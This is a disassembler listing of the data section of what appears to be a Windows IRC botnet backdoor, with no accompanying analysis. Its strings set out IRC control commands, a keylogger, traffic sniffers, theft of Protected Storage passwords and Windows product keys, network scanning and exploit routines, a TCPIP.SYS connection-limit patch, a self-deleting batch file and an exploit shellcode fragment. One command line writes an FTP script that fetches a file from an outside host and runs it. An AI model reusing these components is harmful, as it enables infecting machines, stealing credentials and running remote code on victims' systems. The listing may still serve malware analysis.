aPrivmsgS31s21s	db 'PRIVMSG %s :%-31s  %-21s',0Ah,0 ; DATA XREF: sub_406C59+308o
		align 4
aS_1		db '<%s>',0             ; DATA XREF: sub_406C59+2DEo
					; sub_406C59+418o
		align 4
a2_2d2_2d4d2_2d	db '%2.2d/%2.2d/%4d  %2.2d:%2.2d %s',0 ; DATA XREF: sub_406C59+2B4o
aAm		db 'AM',0               ; DATA XREF: sub_406C59+293o
		align 4
aPm_0		db 'PM',0               ; DATA XREF: sub_406C59+288o
		align 4
a_:					; DATA XREF: sub_406C59+24Co
					; sub_408D3F+33o
		unicode	0, <.>,0
a__		db '..',0               ; DATA XREF: sub_406C59+231o
		align 8
aTrTdColspan3AH	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_406C59+1BFo
		db '<TD COLSPAN="3"><A HREF="%s"><CODE>Parent Directory</CODE></A></T'
		db 'D>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 4
aSearchingForS	db 'Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_406C59:loc_406D9Ao
aTrTdColspan3Hr	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_406C59+12Ao
		db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 10h
aTrTdWidthDCode	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_406C59+F2o
		db '<TD WIDTH="%d"><CODE>Name</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d"><CODE>Last Modified</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d" ALIGN="right"><CODE>Size</CODE></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 4
aH1IndexOfSH1Ta	db '<H1>Index of %s</H1>',0Dh,0Ah ; DATA XREF: sub_406C59+ACo
		db '<TABLE BORDER="0">',0Dh,0Ah,0
		align 4
aHtmlHeadTitleI	db '<HTML>',0Dh,0Ah     ; DATA XREF: sub_406C59+6Eo
		db '<HEAD>',0Dh,0Ah
		db '<TITLE>Index of %s</TITLE>',0Dh,0Ah
		db '</HEAD>',0Dh,0Ah
		db '<BODY>',0Dh,0Ah,0
		align 4
aPrivmsgSSearch	db 'PRIVMSG %s :Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_406C59+45o
asc_41A688:				; DATA XREF: sub_406C59+29o
					; sub_40752D+FAo
		dw 0Ah
		unicode	0, <>,0
		align 10h
aHttp1_0200Ok_0	db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_4073C5+E3o
		db 'Server: myShit',0Dh,0Ah
		db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah
		db 'pragma: no-cache',0Dh,0Ah
		db 'Content-Type: %s',0Dh,0Ah
		db 'Content-Length: %i',0Dh,0Ah
		db 'Accept-Ranges: bytes',0Dh,0Ah
		db 'Date: %s %s GMT',0Dh,0Ah
		db 'Last-Modified: %s %s GMT',0Dh,0Ah
		db 'Expires: %s %s GMT',0Dh,0Ah
		db 'Connection: close',0Dh,0Ah
		db 0Dh,0Ah,0
aHttp1_0200OkSe	db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_4073C5+C9o
		db 'Server: myShit',0Dh,0Ah
		db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah
		db 'pragma: no-cache',0Dh,0Ah
		db 'Content-Type: %s',0Dh,0Ah
		db 'Accept-Ranges: bytes',0Dh,0Ah
		db 'Date: %s %s GMT',0Dh,0Ah
		db 'Last-Modified: %s %s GMT',0Dh,0Ah
		db 'Expires: %s %s GMT',0Dh,0Ah
		db 'Connection: close',0Dh,0Ah
		db 0Dh,0Ah,0
aHhMmSs		db 'HH:mm:ss',0         ; DATA XREF: sub_4073C5+93o
		align 4
aDddDdMmmYyyy	db 'ddd, dd MMM yyyy',0 ; DATA XREF: sub_4073C5+7Ao
		align 4
aApplicationOct	db 'application/octet-stream',0 ; DATA XREF: sub_4073C5:loc_40742Co
		align 4
aTextHtml	db 'text/html',0        ; DATA XREF: sub_4073C5+60o
		align 4
aFailedToStartW	db 'Failed to start work3r thread, error: <%d>.',0
					; DATA XREF: sub_40752D+27Co
aWorkerThreadOf	db 'Worker thread of s3rv3r thread: %d.',0 ; DATA XREF: sub_40752D+20Ao
asc_41A8F4:				; DATA XREF: sub_40752D+156o
		unicode	0, <*>,0
aS_6		db '\%s',0              ; DATA XREF: sub_40752D+2Fo
aErrorShitFaile	db 'Error: shit failed, returned: <%d>.',0 ; DATA XREF: sub_4077DC+3E1o
asc_41A920	db 0Dh,0Ah,0		; DATA XREF: sub_4077DC+2BEo
		align 4
aGet		db 'GET ',0             ; DATA XREF: sub_4077DC+258o
		align 4
byte_41A92C	db 42h			; DATA XREF: sub_407C63+9Cr
aCdfghjkmpqrtvw	db 'CDFGHJKMPQRTVWXY2346789',0
		align 4
aDigitalproduct	db 'DigitalProductId',0 ; DATA XREF: sub_407C63+3Bo
		align 4
aSoftwareMicros	db 'SOFTWARE\Microsoft\Windows NT\CurrentVersion',0
					; DATA XREF: sub_407C63+17o
		align 4
aSqldisconnect	db 'SQLDisconnect',0    ; DATA XREF: sub_407D3E+BCDo
		align 4
aSqlfreehandle	db 'SQLFreeHandle',0    ; DATA XREF: sub_407D3E+BC0o
		align 4
aSqlallochandle	db 'SQLAllocHandle',0   ; DATA XREF: sub_407D3E+BB3o
		align 4
aSqlexecdirect	db 'SQLExecDirect',0    ; DATA XREF: sub_407D3E+BA6o
		align 4
aSqlsetenvattr	db 'SQLSetEnvAttr',0    ; DATA XREF: sub_407D3E+B99o
		align 4
aSqldriverconne	db 'SQLDriverConnect',0 ; DATA XREF: sub_407D3E+B91o
		align 10h
aOdbc32_dll	db 'odbc32.dll',0       ; DATA XREF: sub_407D3E:loc_4088BEo
		align 4
aShchangenotify	db 'SHChangeNotify',0   ; DATA XREF: sub_407D3E+B4Fo
		align 4
aShellexecutea	db 'ShellExecuteA',0    ; DATA XREF: sub_407D3E+B47o
		align 4
aShell32_dll	db 'shell32.dll',0      ; DATA XREF: sub_407D3E:loc_408874o
aWnetcancelco_0	db 'WNetCancelConnection2W',0 ; DATA XREF: sub_407D3E+AF5o
		align 10h
aWnetcancelconn	db 'WNetCancelConnection2A',0 ; DATA XREF: sub_407D3E+AE8o
		align 4
aWnetaddconne_0	db 'WNetAddConnection2W',0 ; DATA XREF: sub_407D3E+ADBo
aWnetaddconnect	db 'WNetAddConnection2A',0 ; DATA XREF: sub_407D3E+AD3o
aMpr_dll	db 'mpr.dll',0          ; DATA XREF: sub_407D3E:loc_408800o
aDeleteipnetent	db 'DeleteIpNetEntry',0 ; DATA XREF: sub_407D3E+A91o
		align 4
aGetipnettable	db 'GetIpNetTable',0    ; DATA XREF: sub_407D3E+A89o
		align 4
aIphlpapi_dll	db 'iphlpapi.dll',0     ; DATA XREF: sub_407D3E:loc_4087B6o
		align 4
aDnsflushreso_0	db 'DnsFlushResolverCacheEntry_A',0 ; DATA XREF: sub_407D3E+A47o
		align 4
aDnsflushresolv	db 'DnsFlushResolverCache',0 ; DATA XREF: sub_407D3E+A3Fo
		align 4
aDnsapi_dll	db 'dnsapi.dll',0       ; DATA XREF: sub_407D3E:loc_40876Co
		align 10h
aNetmessagebuff	db 'NetMessageBufferSend',0 ; DATA XREF: sub_407D3E+9B5o
		align 4
aNetusergetinfo	db 'NetUserGetInfo',0   ; DATA XREF: sub_407D3E+9A8o
		align 4
aNetuserenum	db 'NetUserEnum',0      ; DATA XREF: sub_407D3E+99Bo
aNetuserdel	db 'NetUserDel',0       ; DATA XREF: sub_407D3E+98Eo
		align 10h
aNetuseradd	db 'NetUserAdd',0       ; DATA XREF: sub_407D3E+981o
		align 4
aNetremotetod	db 'NetRemoteTOD',0     ; DATA XREF: sub_407D3E+974o
		align 4
aNetapibufferfr	db 'NetApiBufferFree',0 ; DATA XREF: sub_407D3E+967o
		align 10h
aNetschedulejob	db 'NetScheduleJobAdd',0 ; DATA XREF: sub_407D3E+95Ao
		align 4
aNetshareenum	db 'NetShareEnum',0     ; DATA XREF: sub_407D3E+94Do
		align 4
aNetsharedel	db 'NetShareDel',0      ; DATA XREF: sub_407D3E+940o
aNetshareadd	db 'NetShareAdd',0      ; DATA XREF: sub_407D3E+938o
aNetapi32_dll	db 'netapi32.dll',0     ; DATA XREF: sub_407D3E:loc_408661o
		align 4
aInternetcloseh	db 'InternetCloseHandle',0 ; DATA XREF: sub_407D3E+86Co
aInternetreadfi	db 'InternetReadFile',0 ; DATA XREF: sub_407D3E+85Fo
		align 4
aInternetcracku	db 'InternetCrackUrlA',0 ; DATA XREF: sub_407D3E+852o
		align 4
aInternetopenur	db 'InternetOpenUrlA',0 ; DATA XREF: sub_407D3E+845o
		align 4
aInternetopena	db 'InternetOpenA',0    ; DATA XREF: sub_407D3E+838o
		align 4
aInternetconnec	db 'InternetConnectA',0 ; DATA XREF: sub_407D3E+82Bo
		align 10h
aHttpsendreques	db 'HttpSendRequestA',0 ; DATA XREF: sub_407D3E+81Eo
		align 4
aHttpopenreques	db 'HttpOpenRequestA',0 ; DATA XREF: sub_407D3E+811o
		align 4
aInternetgetc_0	db 'InternetGetConnectedStateEx',0 ; DATA XREF: sub_407D3E+804o
aInternetgetcon	db 'InternetGetConnectedState',0 ; DATA XREF: sub_407D3E+7FCo
		align 10h
aWininet_dll	db 'wininet.dll',0      ; DATA XREF: sub_407D3E:loc_408525o
aClosesocket	db 'closesocket',0      ; DATA XREF: sub_407D3E+6BDo
aGetpeername	db 'getpeername',0      ; DATA XREF: sub_407D3E+6B0o
aGethostbyaddr	db 'gethostbyaddr',0    ; DATA XREF: sub_407D3E+6A3o
		align 4
aGethostbyname	db 'gethostbyname',0    ; DATA XREF: sub_407D3E+696o
		align 4
aGethostname	db 'gethostname',0      ; DATA XREF: sub_407D3E+689o
aGetsockname	db 'getsockname',0      ; DATA XREF: sub_407D3E+67Co
aSetsockopt	db 'setsockopt',0       ; DATA XREF: sub_407D3E+66Fo
		align 4
aAccept		db 'accept',0           ; DATA XREF: sub_407D3E+662o
		align 10h
aListen		db 'listen',0           ; DATA XREF: sub_407D3E+655o
		align 4
aSelect		db 'select',0           ; DATA XREF: sub_407D3E+648o
		align 10h
aBind		db 'bind',0             ; DATA XREF: sub_407D3E+640o
		align 4
aRecvfrom	db 'recvfrom',0         ; DATA XREF: sub_407D3E+62Eo
		align 4
aRecv		db 'recv',0             ; DATA XREF: sub_407D3E+621o
		align 4
aSendto		db 'sendto',0           ; DATA XREF: sub_407D3E+614o
		align 4
aSend		db 'send',0             ; DATA XREF: sub_407D3E+607o
		align 4
aNtohl		db 'ntohl',0            ; DATA XREF: sub_407D3E+5FAo
		align 4
aNtohs		db 'ntohs',0            ; DATA XREF: sub_407D3E+5EDo
		align 4
aHtonl		db 'htonl',0            ; DATA XREF: sub_407D3E+5E0o
		align 4
aHtons		db 'htons',0            ; DATA XREF: sub_407D3E+5D3o
		align 4
aInet_addr	db 'inet_addr',0        ; DATA XREF: sub_407D3E+5C6o
		align 4
aInet_ntoa	db 'inet_ntoa',0        ; DATA XREF: sub_407D3E+5B9o
		align 4
aConnect	db 'connect',0          ; DATA XREF: sub_407D3E+5ACo
aIoctlsocket	db 'ioctlsocket',0      ; DATA XREF: sub_407D3E+59Fo
aSocket		db 'socket',0           ; DATA XREF: sub_407D3E+592o
		align 10h
aWsacleanup	db 'WSACleanup',0       ; DATA XREF: sub_407D3E+585o
		align 4
aWsagetlasterro	db 'WSAGetLastError',0  ; DATA XREF: sub_407D3E+578o
aWsaioctl	db 'WSAIoctl',0         ; DATA XREF: sub_407D3E+56Bo
		align 4
a__wsafdisset	db '__WSAFDIsSet',0     ; DATA XREF: sub_407D3E+55Eo
		align 4
aWsaasyncselect	db 'WSAAsyncSelect',0   ; DATA XREF: sub_407D3E+551o
		align 4
aWsasocketa	db 'WSASocketA',0       ; DATA XREF: sub_407D3E+544o
		align 4
aWsastartup	db 'WSAStartup',0       ; DATA XREF: sub_407D3E+53Co
		align 10h
aWs2_32_dll	db 'ws2_32.dll',0       ; DATA XREF: sub_407D3E:loc_408265o
		align 4
aDeleteobject	db 'DeleteObject',0     ; DATA XREF: sub_407D3E+4BAo
		align 4
aDeletedc	db 'DeleteDC',0         ; DATA XREF: sub_407D3E+4ADo
		align 4
aBitblt		db 'BitBlt',0           ; DATA XREF: sub_407D3E+4A0o
		align 10h
aSelectobject	db 'SelectObject',0     ; DATA XREF: sub_407D3E+493o
		align 10h
aGetdibcolortab	db 'GetDIBColorTable',0 ; DATA XREF: sub_407D3E+486o
		align 4
aGetdevicecaps	db 'GetDeviceCaps',0    ; DATA XREF: sub_407D3E+479o
		align 4
aCreatecompatib	db 'CreateCompatibleDC',0 ; DATA XREF: sub_407D3E+46Co
		align 4
aCreatedibsecti	db 'CreateDIBSection',0 ; DATA XREF: sub_407D3E+45Fo
		align 4
aCreatedca	db 'CreateDCA',0        ; DATA XREF: sub_407D3E+457o
		align 4
aGdi32_dll	db 'gdi32.dll',0        ; DATA XREF: sub_407D3E:loc_408184o
		align 4
aGetusernamea	db 'GetUserNameA',0     ; DATA XREF: sub_407D3E:loc_40815Co
		align 4
aIsvalidsecurit	db 'IsValidSecurityDescriptor',0 ; DATA XREF: sub_407D3E+3C6o
		align 10h
aEnumservicesst	db 'EnumServicesStatusA',0 ; DATA XREF: sub_407D3E+3B9o
aCloseserviceha	db 'CloseServiceHandle',0 ; DATA XREF: sub_407D3E+3ACo
		align 4
aDeleteservice	db 'DeleteService',0    ; DATA XREF: sub_407D3E+39Fo
		align 4
aControlservice	db 'ControlService',0   ; DATA XREF: sub_407D3E+392o
		align 4
aStartservicea	db 'StartServiceA',0    ; DATA XREF: sub_407D3E+385o
		align 4
aOpenservicea	db 'OpenServiceA',0     ; DATA XREF: sub_407D3E+378o
		align 4
aOpenscmanagera	db 'OpenSCManagerA',0   ; DATA XREF: sub_407D3E:loc_4080AEo
		align 4
aAdjusttokenpri	db 'AdjustTokenPrivileges',0 ; DATA XREF: sub_407D3E+340o
		align 10h
aLookupprivileg	db 'LookupPrivilegeValueA',0 ; DATA XREF: sub_407D3E+333o
		align 4
aOpenprocesstok	db 'OpenProcessToken',0 ; DATA XREF: sub_407D3E:loc_408069o
		align 4
aRegclosekey	db 'RegCloseKey',0      ; DATA XREF: sub_407D3E+2E3o
aRegdeletevalue	db 'RegDeleteValueA',0  ; DATA XREF: sub_407D3E+2D6o
aRegqueryvaluee	db 'RegQueryValueExA',0 ; DATA XREF: sub_407D3E+2C9o
		align 4
aRegsetvalueexa	db 'RegSetValueExA',0   ; DATA XREF: sub_407D3E+2BCo
		align 4
aRegcreatekeyex	db 'RegCreateKeyExA',0  ; DATA XREF: sub_407D3E+2AFo
aRegopenkeyexa	db 'RegOpenKeyExA',0    ; DATA XREF: sub_407D3E+2A7o
		align 4
aAdvapi32_dll	db 'advapi32.dll',0     ; DATA XREF: sub_407D3E:loc_407FD4o
		align 4
aGetuserprofile	db 'GetUserProfileDirectoryA',0 ; DATA XREF: sub_407D3E+26Eo
		align 4
aUserenv_dll	db 'userenv.dll',0      ; DATA XREF: sub_407D3E:loc_407F9Do
aGetforegroundw	db 'GetForegroundWindow',0 ; DATA XREF: sub_407D3E+21Ao
aGetwindowtexta	db 'GetWindowTextA',0   ; DATA XREF: sub_407D3E+20Do
		align 4
aGetkeystate	db 'GetKeyState',0      ; DATA XREF: sub_407D3E+200o
aGetasynckeysta	db 'GetAsyncKeyState',0 ; DATA XREF: sub_407D3E:loc_407F36o
		align 4
aExitwindowsex	db 'ExitWindowsEx',0    ; DATA XREF: sub_407D3E+1A0o
		align 4
aCloseclipboard	db 'CloseClipboard',0   ; DATA XREF: sub_407D3E+193o
		align 4
aGetclipboardda	db 'GetClipboardData',0 ; DATA XREF: sub_407D3E+186o
		align 4
aOpenclipboard	db 'OpenClipboard',0    ; DATA XREF: sub_407D3E+179o
		align 4
aDestroywindow	db 'DestroyWindow',0    ; DATA XREF: sub_407D3E+16Co
		align 4
aIswindow	db 'IsWindow',0         ; DATA XREF: sub_407D3E+15Fo
		align 4
aFindwindowa	db 'FindWindowA',0      ; DATA XREF: sub_407D3E+152o
aSendmessagea	db 'SendMessageA',0     ; DATA XREF: sub_407D3E+14Ao
		align 4
aUser32_dll	db 'user32.dll',0       ; DATA XREF: sub_407D3E:loc_407E73o
					; sub_416BBC+13o
		align 10h
aRegisterservic	db 'RegisterServiceProcess',0 ; DATA XREF: sub_407D3E:loc_407E46o
		align 4
aQueryperform_0	db 'QueryPerformanceFrequency',0 ; DATA XREF: sub_407D3E+A0o
		align 4
aQueryperforman	db 'QueryPerformanceCounter',0 ; DATA XREF: sub_407D3E+93o
aSearchpatha	db 'SearchPathA',0      ; DATA XREF: sub_407D3E+86o
aGetdrivetypea	db 'GetDriveTypeA',0    ; DATA XREF: sub_407D3E+79o
		align 4
aGetlogicaldriv	db 'GetLogicalDriveStringsA',0 ; DATA XREF: sub_407D3E+6Co
aGetdiskfreespa	db 'GetDiskFreeSpaceExA',0 ; DATA XREF: sub_407D3E+5Fo
aModule32first	db 'Module32First',0    ; DATA XREF: sub_407D3E+52o
		align 4
aProcess32next	db 'Process32Next',0    ; DATA XREF: sub_407D3E+45o
		align 4
aProcess32first	db 'Process32First',0   ; DATA XREF: sub_407D3E+38o
		align 4
aCreatetoolhelp	db 'CreateToolhelp32Snapshot',0 ; DATA XREF: sub_407D3E+2Bo
		align 10h
aSeterrormode	db 'SetErrorMode',0     ; DATA XREF: sub_407D3E+23o
		align 10h
aKernel32_dll	db 'kernel32.dll',0     ; DATA XREF: sub_407D3E+Ao
		align 10h
dbl_41B1E0	dq -3.0517578125e-5	; DATA XREF: sub_408964+1Fr
aMirc		db 'mIRC',0             ; DATA XREF: sub_408995+7o
					; sub_40A091+95o
		align 10h
aComspecCSS	db '%%comspec%% /c %s %s',0 ; DATA XREF: sub_408B66+138o
		align 4
a@echoOffRepeat	db '@echo off',0Dh,0Ah  ; DATA XREF: sub_408B66+7Do
		db ':repeat',0Dh,0Ah
		db 'del "%%1"',0Dh,0Ah
		db 'if exist "%%1" goto repeat',0Dh,0Ah
		db 'del "%s"',0
aSdel_bat	db '%sdel.bat',0        ; DATA XREF: sub_408B66+40o
		align 4
a0:					; DATA XREF: sub_408D3F+E0o
					; sub_40BB9B+2CAo
		unicode	0, <0>,0
a90		db '90',0               ; DATA XREF: sub_408D3F:loc_408E0Eo
		align 10h
a168		db '168',0              ; DATA XREF: sub_408D3F+BCo
a192		db '192',0              ; DATA XREF: sub_408D3F:loc_408DEAo
a16		db '16',0               ; DATA XREF: sub_408D3F+98o
		align 4
a172		db '172',0              ; DATA XREF: sub_408D3F:loc_408DC6o
a10		db '10',0               ; DATA XREF: sub_408D3F+72o
		align 4
a2:					; DATA XREF: sub_408E61+2Bo
					; .text:00409DB7o
		unicode	0, <2>,0
aSfc_os_dll	db 'sfc_os.dll',0       ; DATA XREF: sub_408EA9+24o
		align 4
aTcpip_sysFixed	db 'TCPIP.SYS fixed!, version %d.',0 ; DATA XREF: sub_408EF0+479o
		align 4
aCanNotOpenTcpi	db 'Can not open TCPIP.SYS, version %d.',0 ; DATA XREF: sub_408EF0+13Bo
aRB		db 'r+b',0              ; DATA XREF: sub_408EF0+11Eo
aG:					; DATA XREF: sub_408EF0+97o
		unicode	0, <G>,0
aS_7:					; DATA XREF: sub_408EF0+90o
		unicode	0, <>,0
asc_41B2D4:				; DATA XREF: sub_408EF0+86o
		unicode	0, <>,0
dword_41B2D8	dd 5			; DATA XREF: sub_408EF0+79o
dword_41B2DC	dd 0FCh			; DATA XREF: sub_408EF0+72o
dword_41B2E0	dd 43h			; DATA XREF: sub_408EF0+6Bo
dword_41B2E4	dd 6			; DATA XREF: sub_408EF0+5Eo
dword_41B2E8	dd 16h			; DATA XREF: sub_408EF0+57o
dword_41B2EC	dd 4Ch			; DATA XREF: sub_408EF0+50o
dword_41B2F0	dd 0C8h			; DATA XREF: sub_408EF0+48o
dword_41B2F4	dd 3			; DATA XREF: sub_408EF0+34o
dword_41B2F8	dd 0E8h			; DATA XREF: sub_408EF0+2Fo
aWindowspatch32	db 'WINDOWSPATCH32.EXE',0 ; DATA XREF: .text:0041EE20o
		align 10h
aHijackthis_exe	db 'HIJACKTHIS.EXE',0   ; DATA XREF: .text:off_41EE1Co
		align 10h
aSD		db ' %s (%d)',0         ; DATA XREF: sub_409427+18Do
		align 4
aSedebugprivile	db 'SeDebugPrivilege',0 ; DATA XREF: sub_409427+5Ao
					; sub_409427+1EDo
		align 10h
aPsListFailed_	db 'Ps list failed.',0  ; DATA XREF: sub_409650:loc_4096CFo
aPsListComplete	db 'Ps list completed.',0 ; DATA XREF: sub_409650+78o
		align 4
aListingPs	db 'Listing ps:',0      ; DATA XREF: sub_409650+2Ao
asc_41B370:				; DATA XREF: .text:00409AEAo
		unicode	0, <,>,0
aHttps		db 'https:/',0          ; DATA XREF: .text:00409ACBo
aHttp_0		db 'http:/',0           ; DATA XREF: .text:00409AB4o
		align 4
aString		db ':String',0          ; DATA XREF: .text:00409A72o
					; .text:00409A89o
aStringindex	db 'StringIndex',0      ; DATA XREF: .text:00409A57o
aE161255a	db 'e161255a',0         ; DATA XREF: .text:loc_409A3Ao
		align 4
aSSS_1		db '%s %s:%s',0         ; DATA XREF: .text:00409A05o
					; .text:00409B73o
		align 10h
a5e7e8100	db '5e7e8100',0         ; DATA XREF: .text:00409959o
		align 4
aWs		db '%ws',0              ; DATA XREF: .text:004098B0o
asc_41B3C0	db '%x',0               ; DATA XREF: .text:0040981Fo
		align 4
aPstorecreatein	db 'PStoreCreateInstance',0 ; DATA XREF: .text:004097ACo
		align 4
aPstorec_dll	db 'pstorec.dll',0      ; DATA XREF: .text:00409795o
aSI		db '%s%i',0             ; DATA XREF: .text:00409EC8o
		align 10h
aSSSS		db '%s|%s|%s|%s|',0     ; DATA XREF: .text:00409EA2o
		align 10h
a99		db '99',0               ; DATA XREF: .text:loc_409E64o
		align 4
a0D		db '0%d',0              ; DATA XREF: .text:00409E3Eo
aDdDhDm		db '%dd %dh %dm',0      ; DATA XREF: .text:00409E20o
					; sub_40A5BD+39o
off_41B414	dd offset byte_4B4E55	; DATA XREF: .text:00409E03o
dword_41B418	dd 345053h		; DATA XREF: .text:00409DFCo
dword_41B41C	dd 34h			; DATA XREF: .text:00409DEDo
dword_41B420	dd 335053h		; DATA XREF: .text:00409DE3o
dword_41B424	dd 33h			; DATA XREF: .text:00409DD2o
dword_41B428	dd 325053h		; DATA XREF: .text:00409DC8o
dword_41B42C	dd 315053h		; DATA XREF: .text:00409DADo
dword_41B430	dd 31h			; DATA XREF: .text:00409D9Co
dword_41B434	dd 305053h		; DATA XREF: .text:00409D92o
dword_41B438	dd 4E55h		; DATA XREF: .text:loc_409D79o
					; sub_40A610:loc_40A759o
dword_41B43C	dd 3332h		; DATA XREF: .text:00409D72o
					; sub_40A610+142o
dword_41B440	dd 5058h		; DATA XREF: .text:00409D67o
					; sub_40A610+137o
dword_41B444	dd 4B32h		; DATA XREF: .text:00409D5Ao
					; sub_40A610+12Ao
dword_41B448	dd 454Dh		; DATA XREF: .text:00409D47o
					; sub_40A610+118o
dword_41B44C	dd 3839h		; DATA XREF: .text:00409D3Ao
					; sub_40A610+10Bo
dword_41B450	dd 544Eh		; DATA XREF: .text:00409D2Eo
					; sub_40A610+FEo
dword_41B454	dd 3539h		; DATA XREF: .text:00409D23o
					; sub_40A610+EEo
aDoneWithIkbSec	db 'Done with (%iKB/sec)',0 ; DATA XREF: sub_409FE8+48o
		align 10h
aKeylog		db 'keylog',0           ; DATA XREF: sub_40A091+10Bo
		align 4
aIrc		db 'Irc',0              ; DATA XREF: sub_40A091+F6o
aSetsMode	db 'sets mode: ',0      ; DATA XREF: sub_40A091+E1o
aJoin		db 'JOIN # ',0          ; DATA XREF: sub_40A091+CCo
aExploiting	db 'exploiting',0       ; DATA XREF: sub_40A091+B7o
		align 4
aExploit	db 'exploit',0          ; DATA XREF: sub_40A091+A6o
aScanningThread	db 'scanning threads.',0 ; DATA XREF: sub_40A091+84o
		align 4
a_l		db '.l',0               ; DATA XREF: sub_40A091+73o
		align 4
a_login		db '.login',0           ; DATA XREF: sub_40A091+62o
		align 4
a366		db '366 ',0             ; DATA XREF: sub_40A091+51o
		align 4
a302_0		db '302 ',0             ; DATA XREF: sub_40A091:loc_40A0D1o
		align 4
aJoin_0		db 'JOIN #',0           ; DATA XREF: sub_40A091+2Bo
		align 4
aBotSniff	db 'Bot sniff',0        ; DATA XREF: sub_40A091+5o
		align 4
aYouAreNowAnIrc	db 'You are now an IRC Operator',0 ; DATA XREF: sub_40A1B0+62o
aOper		db 'oper ',0            ; DATA XREF: sub_40A1B0+51o
		align 4
aNick_1		db 'NICK ',0            ; DATA XREF: sub_40A1B0:loc_40A1F0o
		align 4
aOper_0		db 'OPER ',0            ; DATA XREF: sub_40A1B0+2Bo
		align 4
aIrcSn		db 'IRC sn',0           ; DATA XREF: sub_40A1B0+5o
		align 4
aFtpSn		db 'FTP sn',0           ; DATA XREF: sub_40A226o
		align 4
aHttpSn		db 'HTTP sn',0          ; DATA XREF: sub_40A24Do
aVulnSniff	db 'VULN sniff',0       ; DATA XREF: sub_40A274o
		align 10h
aSDToSDS	db '"%s:%d" to "%s:%d": - "%s"',0Ah,0 ; DATA XREF: sub_40A29B:loc_40A3F6o
aW00tWsaioctlFa	db '-W00T- WSAIoctl() failed, returned %d',0 ; DATA XREF: sub_40A29B+10Bo
		align 4
aW00tBindFailed	db '-W00T- bind() failed, returned %d',0 ; DATA XREF: sub_40A29B+C7o
		align 4
dword_41B5A8	dd 53283403h, 45545359h, 464E494Dh, 320294Fh, 43503231h
					; DATA XREF: sub_40A610+210o
		dd 4F464E49h, 303203Ah,	3A534F33h, 69572003h, 7325206Eh
		dd 64252820h, 2C64252Eh, 69756220h, 2520646Ch, 202E2964h
		dd 41523303h, 20033A4Dh, 424D6425h, 746F7420h, 202C6C61h
		dd 424D6425h, 65726620h, 3202E65h, 54505533h, 3A454D49h
		dd 64252003h, 64252064h, 64252068h, 3202E6Dh, 584F4233h
		dd 2520033Ah, 3202E73h,	45535533h, 20033A52h, 202E7325h
		dd 4E323103h, 4E495445h, 203A4F46h, 54330303h, 3A657079h
		dd 73252003h, 73252820h, 3202E29h, 636F6C33h, 69206C61h
		dd 20033A70h, 252E6425h, 64252E64h, 2E64252Eh, 43330320h
		dd 656E6E6Fh, 64657463h, 6F726620h, 20033A6Dh, 2E7325h
dword_41B684	dd 28207325h, 297325h	; DATA XREF: sub_40A610+164o
off_41B68C	dd offset loc_412F4D+1	; DATA XREF: sub_40A610+71o
dword_41B690	dd 4E414Ch		; DATA XREF: sub_40A610:loc_40A678o
dword_41B694	dd 6C616964h, 70752Dh	; DATA XREF: sub_40A610+58o
dword_41B69C	dd 202E6425h, 7325h	; DATA XREF: sub_40A8A6+44o
dword_41B6A4	dd 7473694Ch, 72685420h, 73646165h, 0 ;	DATA XREF: sub_40A8A6+Eo
aSNoSThreadFoun	db '%s: No %s thread found.',0 ; DATA XREF: sub_40AA51+51o
aSSStopped_DThr	db '%s: %s stopped. (%d thread(s) stopped.)',0 ; DATA XREF: sub_40AA51+35o
aIpSPortDIs0p3n	db 'IP %s, Port %d is 0p3n.',0 ; DATA XREF: sub_40AD8F+DCo
aIpSDScanTDSubT	db 'IP: %s:%d, Scan|t: %d, Sub|thread: %d.',0 ; DATA XREF: sub_40AD8F+84o
		align 4
aFinishedAtSDAf	db 'Finished at %s:%d after %d minute(s) of scanning.',0
					; DATA XREF: sub_40AFA2+1BCo
		align 4
aFailedToStarTh	db 'Failed to star thr34d, error: <%d>.',0 ; DATA XREF: sub_40AFA2+144o
aSDScann3rThrea	db '%s:%d, Scann3r thread: %d, Sub|thread: %d.',0
					; DATA XREF: sub_40AFA2+DFo
		align 4
aFailedToInitia	db 'Failed to initialize critical section.',0 ; DATA XREF: sub_40AFA2+69o
		align 10h
aEchoOpenSDOEch	db 'echo open %s %d > o&echo user %s %s >> o &echo get %s >> o &echo '
					; DATA XREF: sub_40B1D5+A4o
		db 'quit >> o &ftp -n -s:o &del /F /Q o &%s',0Dh,0Ah,0
		align 4


loc_41B84C:				; DATA XREF: sub_40B31C+17Ao
		jmp	short loc_41B854
; ---------------------------------------------------------------------------
		jmp	short loc_41B856
; ---------------------------------------------------------------------------
		dd 0
; ---------------------------------------------------------------------------


loc_41B854:				; CODE XREF: .text:loc_41B84Cj
					; DATA XREF: sub_40B31C+27o
		pop	esp
		pop	esp


loc_41B856:				; CODE XREF: .text:0041B84Ej
		and	eax, 70695C73h
		arpl	[eax+eax], sp
; ---------------------------------------------------------------------------
		dw 0
dword_41B860	dd 1CEC8166h		; DATA XREF: sub_40B31C+Dr
dword_41B864	dd 0E4FF07h		; DATA XREF: sub_40B31C+16r
aTryingSS	db 'Trying: %s (%s)',0  ; DATA XREF: .text:0040B8DCo
asc_41B878:				; DATA XREF: sub_40BB9B+320o
		unicode	0, <`>,0
dword_41B87C	dd 62B0606h, 2050501h, 0A0h ; DATA XREF: sub_40BB9B+2F5o
dword_41B888	dd 0A1h			; DATA XREF: sub_40BB9B+29Fo
dword_41B88C	dd 3			; DATA XREF: sub_40BB9B+246o
aCccc		db 'CCCC',0             ; DATA XREF: sub_40BB9B+153o
		align 4


loc_41B898:				; DATA XREF: sub_40BB9B+E8o
		jmp	short near ptr dword_41B8A0
; ---------------------------------------------------------------------------
		align 10h
dword_41B8A0	dd 2 dup(0)		; CODE XREF: .text:loc_41B898j
dbl_41B8A8	dq 1.388888888888889e-2	; DATA XREF: sub_40C0E1+3Ar
